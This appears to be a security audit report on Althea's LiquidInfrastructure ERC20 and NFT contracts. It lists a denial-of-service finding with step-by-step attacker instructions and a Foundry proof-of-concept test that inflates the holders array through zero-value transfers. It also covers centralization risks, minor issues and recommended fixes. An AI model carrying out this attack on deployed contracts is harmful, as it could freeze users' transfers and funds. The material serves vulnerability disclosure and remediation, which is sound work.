Althea Liquid Infrastructure - DarkTower's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L164-L179

Vulnerability details

Impact

The Althea protocol overrides the _beforeTokenTransfer & _afterTokenTransfer functions of the ERC20.sol implementation contract of Openzeppelin. These overrides are in place to allow parent contracts inheriting to implement something unique within the transfers of ERC20 tokens. These two functions present a vulnerability for an attacker to DoS LiquidInfrastructureERC20 contract's core functions e.g the mint function which does the logic of allowing the owner mint to a specified holder address. Plus users will not be able to transfer their tokens if they wish to do so.

• Impact: High
• Likelihood: High

An attacker can force the complete DoS of the contract's core functions as specified above and below in the LiquidInfrastructureERC20 contract.

• DoS of protocol's crucial functions

These are the vulnerable lines of code from the contract relating to this issue:

function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        require(!LockedForDistribution, "distribution in progress");
        if (!(to == address(0))) {
            require(
                isApprovedHolder(to),
                "receiver not approved to hold the token"
            );
        }
        if (from == address(0) || to == address(0)) {
            _beforeMintOrBurn();
        }
 @1     bool exists = (this.balanceOf(to) != 0); 
        if (!exists) {
            holders.push(to); // @note then pushes to them to the array of holders >> inflates size
        }
    }

function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
@2      bool stillHolding = (this.balanceOf(from) != 0);
        if (!stillHolding) {
            for (uint i = 0; i < holders.length; i++) {
                if (holders[i] == from) {
                    // Remove the element at i by copying the last one into its place and removing the last element
                    holders[i] = holders[holders.length - 1];
                    holders.pop(); // @note no longer a holder? okay! remove them from the holders array
                }
            }
        }
    }

• @1 This checks if the reciever is a first time holder but doesn't check if the value being transferred is 0.
• @2 This checks if the sender still has a balance above 0 after this transfer but doesn't do the same logic for the receiver

Proof of Concept

Let's take a look at a visual scenario for this DoS issue below along with a coded POC. First off, keep in mind one of the call paths that include this vulnerability is mint > _mint > _beforeTokenTransfer > _afterTokenTransfer:

Since we only get rid of previous holders with 0 balances, we never really check if the new holder is a 0 value holder. So, it's still possible to have holders in the array even though they hold nothing - you can always make a 0-value token transfer with the OZ ERC20 specification.

• Alice (attacker) just gathers a huge amount of addresses by creating a script that generates a bunch of them.
• Alice (attacker) does a bunch of 0 value transfers to these addresses to push them as holders into the array but with 0 values.
• If let's imagine the maximum array size in a block for transactions before exceeding the block gas limit is 100 and 101 will cause a DoS, then she just does 0 value token transfers to make sure the holders array exceeds this limit.

Once this is done, the _afterTokenTransfer loop over the holders array will cause the LiquidInfrastructureERC20 contract's transfer, mint, burn functions to fail resulting in a DoS of the protocol.

Coded POC:

You'll need to setup foundry then place the following code in the repo\file test\foundry\LiquidERC20.t.sol. You can run the following test by using forge test --mt testDosLiquidERC20 -vv

// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;

import {Test, console} from "forge-std/Test.sol";
import {LiquidInfrastructureERC20} from "../../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../../contracts/LiquidInfrastructureNFT.sol";
import {TestERC20B} from "../../contracts/TestERC20B.sol";

contract LiquidERC20Test is Test {
  LiquidInfrastructureERC20 liquidERC20;
  LiquidInfrastructureNFT liquidNFTs;
  TestERC20B E2H;

  address nftOwnerOne = makeAddr("nftOwnerOne");
  address erc20Owner = makeAddr("erc20Owner");
  address lc20Owner = makeAddr("lc20Owner");
  address Bob = makeAddr("Bob");
  address Alice = makeAddr("Alice");
  address George = makeAddr("George");
  address holder4 = makeAddr("holder4");
  address holder5 = makeAddr("holder5");
  address holder6 = makeAddr("holder6");
  address holder7 = makeAddr("holder7");
  address holder8 = makeAddr("holder8");
  address holder9 = makeAddr("holder9");
  address holder10 = makeAddr("holder10");

  function setUp() external {
    vm.prank(erc20Owner);
    E2H = new TestERC20B();

    vm.prank(nftOwnerOne);
    liquidNFTs = new LiquidInfrastructureNFT("Vending Mac 1");

    address[] memory nfts = new address[](1);
    address[] memory  holders = new address[](10);
    address[] memory stableCoins = new address[](1);

    nfts[0] = address(liquidNFTs);
    holders[0] = Bob;
    holders[1] = Alice;
    holders[2] = George;
    holders[3] = holder4;
    holders[4] = holder5;
    holders[5] = holder6;
    holders[6] = holder7;
    holders[7] = holder8;
    holders[8] = holder9;
    holders[9] = holder10;

    stableCoins[0] = address(E2H);

    vm.prank(lc20Owner);
    liquidERC20 = new LiquidInfrastructureERC20("Vending Mac 1 ERC20", "VM1", nfts, holders, 1, stableCoins);
  }

  function testDosLiquidERC20() public {
    address attacker = makeAddr("Attacker");

    bytes32 holdersSlot = vm.load(address(liquidERC20), bytes32(uint256(9)));
    assertEq(uint256(holdersSlot), 0);
    console.log("Holder array length pre zero value transfers: ", uint256(holdersSlot)); // Check that array has 0 element

    // Attacker submits 0 amount transfers to a gigantic number of addresses maby 2**224 (depending on the chain) to a point where it causes a DOS for the protocol
    vm.startPrank(attacker);
    liquidERC20.transfer(Bob, 0);
    liquidERC20.transfer(Alice, 0);
    liquidERC20.transfer(George, 0);
    vm.stopPrank();

    bytes32 holdersSlot2 = vm.load(address(liquidERC20), bytes32(uint256(9)));
    assertEq(uint256(holdersSlot2), 3);
    console.log("Holder array length post zero value transfers: ", uint256(holdersSlot2)); // Holders array has increased

    // Now users cannot perform any transfers and protocol cannot mint anymore
    // DOS for protocol and funds are stuck + gas wastage when calling any protocol related function or transfer
  }
}

Output of inflated holders array with 0 values:

[PASS] testDosLiquidERC20() (gas: 144772)
Logs:
  Holder array length pre zero value transfers:  0
  Holder array length post zero value transfers:  3

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.98ms

Tools Used

Manual review

Recommended Mitigation Steps

Prevent 0 value transfers in all cases in the _beforeTokenTransfer overriden function of LiquidInfrastructureERC20 contract.

function _beforeTokenTransfer(
  address from,
  address to,
  uint256 amount
) internal virtual override {
  require(!LockedForDistribution, "distribution in progress");
+ if (amount == 0) {
+  revert();
+ }  
  if (!(to == address(0))) {
      require(
          isApprovedHolder(to),
          "receiver not approved to hold the token"
      );
  }
  if (from == address(0) || to == address(0)) {
      _beforeMintOrBurn();
  }
  bool exists = (this.balanceOf(to) != 0);
  if (!exists) {
      holders.push(to);
  }
}

It is also preferable from our point of view, to add a minimum amount of tokens that can be transfered. We recommand this amount to be 1e18. This should discourage any user from trying to DOS the protocol using this method.

Assessed type

DoS

[L-01] Owner centralization risks

There are a bunch of centralization risk issues in the LiquidInfrastructureERC20 and LiquidInfrastructureNFT contract that poses malicious owner risks for users of the protocol. These scenarios are listed below:

1. An owner of the NFT can choose to sell their NFT in Opensea marketplace, thereby locking funds in the contract.

2. The LiquidInfrastructureERC20 owner can add a massive array of ERC20 tokens as distributable tokens as there's no way to enforce strict adhering to a whitelisted ERC20 token list by the protocol which could DoS the distribute function. He can easily do this by creating an array of the same ERC20 token.

The instance of code for 2. is seen below:

  function setDistributableERC20s(
    address[] memory _distributableERC20s // @audit any ERC20 token can be set
    ) public onlyOwner {
        distributableERC20s = _distributableERC20s;
  }

3. The LiquidInfrastructureERC20 owner can honeypot users by removing those users from the allowlist after minting the Liquid ERC20 token to them initially.

[L-02] The function releaseManagedNFT should revert if a managedNft is not found

The releaseManagedNFT function is used to release a NFT which is defined by the parameter address nftContract but the function doesn't revert when the NFT is not found inside the array ManagedNFTs. The function should revert if the nftContract to remove is non-existent. Else, this means that the wrong NFT is being sent as it wasnt added the right way.

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L413

    function releaseManagedNFT(
        address nftContract,
        address to
    ) public onlyOwner nonReentrant {
        LiquidInfrastructureNFT nft = LiquidInfrastructureNFT(nftContract);
        nft.transferFrom(address(this), to, nft.AccountId());

        // Remove the released NFT from the collection
        for (uint i = 0; i < ManagedNFTs.length; i++) {
            address managed = ManagedNFTs[i];
            if (managed == nftContract) { // @audit loops for nothing if the `nftContract` to remove is not found.
                // Delete by copying in the last element and then pop the end
                ManagedNFTs[i] = ManagedNFTs[ManagedNFTs.length - 1];
                ManagedNFTs.pop();
                break;
            }
        }
        // By this point the NFT should have been found and removed from ManagedNFTs
        require(true, "unable to find released NFT in ManagedNFTs");

        emit ReleaseManagedNFT(nftContract, to);
    }

[L-03] Project names being created by LiquidInfrastructureNFT can be frontrun

The contructor in the LiquidInfrastructureNFT contract constructs the underlying ERC721 with a URI such as "althea://liquid-infrastructure-account/{accountName}", and a symbol "LIA:{accountName}". But the accountName can be frontrun by others resulting in a case where the name is taken by another project. This can cause confusion for users as both contract have the URI.

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureNFT.sol#L62-L74

  constructor(
        string memory accountName
    )
    // @audit this can be frontrun
        ERC721(
            string.concat(
                "althea://liquid-infrastructure-account/",
                accountName
            ),
            string.concat("LIA:", accountName)
        )
    {
        _mint(msg.sender, AccountId);
    }

[L-04] Fee-on-transfer tokens can reduce the revenue of holders

Tokens like USDC and USDT utilize upgradeable proxies for their contracts and can become fee-on-transfer tokens in the future if they choose to. On depositing, such fee on transfer tokens can reduce the revenue of holders. The recommendation is to reduce internal transfers as this can eat up into the holder rewards. Rather than sending the revenue from the LiquidInfrastructureNFT contract to the LiquidInfrastructureERC20 allow a direct calculation and transfer from the NFT contract to the holders from the LiquidInfrastructureERC20 contract.

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L376-L378

(address[] memory withdrawERC20s, ) = withdrawFrom.getThresholds();
    withdrawFrom.withdrawBalancesTo(withdrawERC20s, address(this));
    emit Withdrawal(address(withdrawFrom));

[L-05] Expose some getter functions

Add a getter function to retrieve list of all holder address. In the current implementation of the LiquidInfrastructureERC20 contract, the holders array is private. Imagine the owner of the LiquidInfrastructureERC20 token tells Bob they're an approved holder after a mint of the token but how does Bob verify this information onchain without being tech-savvy to access the private data. There is no way for him to do that. Expose a getter function for the holders array.

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L48

  address[] private holders;

[L-06] Protocol uses very old version of Openzeppelin Library.

Using an old version can lead to worse gas performance, known contract issues, and potential 0-day issues.

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/package.json#L23

@>     "@openzeppelin/contracts": "4.3.1",

[L-07] withdrawFromManagedNFTs should restrict access to only the owner the LiquidInfrastructureERC20 contract

With the current implementation of the withdrawFromManagedNFTs function, a managed NFT owner can choose to withdraw at any time. This function is better suited to be restricted to the owner of the LiquidInfrastructureERC20 contract. The owner of LiquidInfrastructureNFT can thus easily decide with owner of LiquidInfrastructureERC20 to withdraw the tokens to himself for a round for example using LiquidInfrastructureNFT::withdrawBalances. Currently, anyone can run LiquidInfrastructureERC20::withdrawFromManagedNFTs to withdraw the tokens to the LiquidInfrastructureERC20 contract.

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L359-L387

 function withdrawFromManagedNFTs(uint256 numWithdrawals) public {
    require(!LockedForDistribution, "cannot withdraw during distribution");

    if (nextWithdrawal == 0) {
        emit WithdrawalStarted();
    }

    uint256 limit = Math.min(
        numWithdrawals + nextWithdrawal,
        ManagedNFTs.length
    );
    uint256 i;
    for (i = nextWithdrawal; i < limit; i++) {
        LiquidInfrastructureNFT withdrawFrom = LiquidInfrastructureNFT(
            ManagedNFTs[i]
        );

        (address[] memory withdrawERC20s, ) = withdrawFrom.getThresholds();
        withdrawFrom.withdrawBalancesTo(withdrawERC20s, address(this));
        emit Withdrawal(address(withdrawFrom));
    }
    nextWithdrawal = i;

    if (nextWithdrawal == ManagedNFTs.length) {
        nextWithdrawal = 0;
        emit WithdrawalFinished();
    }
}

[NC-01] Remove unnecessary inherits

The ERC20 contract does not need to be imported again when it is already imported in the ERC20Burnable contract. Similarly, OwnableApprovableERC721 already imports the ERC721 implementation. Thereby re-importing is redundant.

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L31

  contract LiquidInfrastructureERC20 is
  @>    ERC20,
      ERC20Burnable,
      Ownable,
      ERC721Holder,
      ReentrancyGuard
  {...}

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureNFT.sol#L33

 @> contract LiquidInfrastructureNFT is ERC721, OwnableApprovableERC721 {...}

[NC-02] Remove unnecessary checks from functions

There are many instances in which unnecessary checks are implemented which just increases the gas cost and byte code of the contracts

1. _isPastMinDistributionPeriod and mint can never be run together. The check highlighted in the code is unnecessary.

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L303

    function mintAndDistribute(
        address account,
        uint256 amount
    ) public onlyOwner {
@>        if (_isPastMinDistributionPeriod()) {
            distributeToAllHolders();
        }
        mint(account, amount);
    }

2. _isPastMinDistributionPeriod and burnFrom can never be run together. The check highlighted in the code is unnecessary.

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L344-L349

    function burnFromAndDistribute(address account, uint256 amount) public {
@>        if (_isPastMinDistributionPeriod()) {
            distributeToAllHolders();
        }
        burnFrom(account, amount);
    }

3. The require check in the highlighted code does nothing. It should be removed from the function.

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L413-L434

    function releaseManagedNFT(
        address nftContract,
        address to
    ) public onlyOwner nonReentrant {
        LiquidInfrastructureNFT nft = LiquidInfrastructureNFT(nftContract);
        nft.transferFrom(address(this), to, nft.AccountId());

        // Remove the released NFT from the collection
        for (uint i = 0; i < ManagedNFTs.length; i++) {
            address managed = ManagedNFTs[i];
            if (managed == nftContract) {
                // Delete by copying in the last element and then pop the end
                ManagedNFTs[i] = ManagedNFTs[ManagedNFTs.length - 1];
                ManagedNFTs.pop();
                break;
            }
        }
        // By this point the NFT should have been found and removed from ManagedNFTs
@>        require(true, "unable to find released NFT in ManagedNFTs");

        emit ReleaseManagedNFT(nftContract, to);
    }

[NC-03] thresholdAmounts are not always equal to the amount received by the LiquidNFT contract.

Right now, nothing prevents the contract LiquidInfrastructureNFT from receiving more funds than the thresholdAmounts. This array is not useful as it is used right now.

Analysis Report

1. Preface

This analysis report has been approached with the following key points and goals in mind:

• This report is devoid of any redundant documentation the protocol is already familiar with.
• It is engineered towards provision of valuable insights and edge cases the protocol left unnoticed.
• Diagrams are simple to grasp for first-time users who stumble upon this report in the future.

2. Our review process of the codebase

D1-2:

• Understanding of the protocol's concept
• Mapping out security and attack areas
• Keeping track of all areas with notes on contracts in-scope

D2-4:

• Brainstorm possible reachability of undesired states
• Test the areas identified
• Further review of contract-level mitigations

D4-6:

• Apply mitigations
• Draft & submit reports

3. Architectural Recommendations

What are the unique selling points?

• Real World Asset Tokenization - There exists a subset of protocols already doing real-asset tokenization as NFTs in the blockchain space but Althea takes another approach at this with 1. Their L1 blockchain facilitating it, 2. Unique NFTs with constrained supply of such tokenized forms of the underlying asset.
• Tokenized Assets as a group - These tokenized asset NFTs can be an underlying single asset for the corresponding Liquid ERC20 token or be many real world assets tied to just one Liquid ERC20. This is the 1 to many feature. (1 ERC20 with 2 or more underlying NFT assets)
• Rewards for holding the asset backed ERC20 - Holders are whitelisted to get and hold these ERC20 tokens. Think about it like shares. Holding 50 shares of Apple assuming Apple rewarded all holders of such shares with USDC according to their share factor.

Comparison

• The first difference between Althea and NMKR is that the former tokenizes real world assets while the latter tokenizes just about anything and a marketplace ensues to sell the NFTs.

• There's no ERC20 token representing holding of an NFT in the NMKR protocol. You hold the direct NFT instead. In Althea, you don't hold the NFT. You hold the ERC20 tokens. You are more like an investor instead of a price speculator.

• Each holder of the ERC20 token in Althea gets rewarded in the reward tokens e.g USDC relative to their shares. No such incentive exists within the NMKR protocol which is instead a one and done protocol.

What ideas can be implemented?

• Decentralization of Holders: Currently, the one single biggest risk of this protocol is centralization. Becoming a holder of the ERC20 typically happens in a whitelist process. Allowing any address to become a holder of the ERC20 is a good way to increase adoption.

• Whitelisted distributable ERC20 reward tokens: As is, the owner of the deployed ERC20 determines which token the rewards for holders will be distributed in. This is good but can be better because just as easy as it is to tokenize the reward NFT, deploy ERC20 for the underlying assets, it's also easy to setup fake tokens that cannot be distributed or even tokens with privileges that can render reward distribution to fail at any time. It's better the distributable tokens are set by the protocol and when an ERC20 owner tries to add a new distributable token, the token being added should be in the whitelisted array of tokens the protocol sets as accepted. This enforces a check and verify structure for the reward token.

4. Centralization Risks

There are two centralization points in the protocol:

1. The LiquidInfrastructureERC20 owner who has control over the ERC20 contract. They have privileged actions such as setting the list of distributable reward tokens, removing and adding addresses who can hold the ERC20. This can be utilized as a multisig address to further decentralize the privileges of this single owner.

2. The LiquidInfrastructureNFT presents the similar risks but we think the more interesting contracts are always prone to weird behaviors which means the centralization risks of the NFT owner is far less compared to the ERC20 owner. For example, the withrawal of funds to yourself (owner) can be considered design and won't compare to the ability to enlist fake reward tokens in the Liquid ERC20 contract.

5. Diagrams

Some interesting call path diagrams for the users

With just 3 contracts in scope, the call traces of the codebase are relatively simple to understand.

7. Some weak spots within the codebase and mitigations

• Removal of zero-value holders - Currently if after you make a transfer to another holder, your balance drops to zero, you're no longer a holder but it doesn't check if the receiving holder's address has a non-zero value. It sets them up as a holder if they weren't previously regardless. Anyone can use this oversight to inflate the holders array size.

• Push technique for rewards - Currently rewards are distributed to holders of the ERC20. You can set an index to start distribution at but another way of implementing a better reward distribution process is by having the reciever take it themselves and keep track of each accumulated reward for all holders.

• Frontruns - The protocol seems to be vulnerable to frontrun attacks. Be it for grabbing another name of an NFT or ERC20 token causing a scenario of confusion for which address is real or not with more than one project using the same name and symbols.

• Phishing attacks - Anyone can deploy LiquidInfrastructureERC20 & LiquidInfrastructureNFT tokens. Attackers can create similar tokens with names and symbols resulting in different owners. This can fool users via social engineering tactics in public communities.

Time spent:

24 hours

Time spent:

24 hours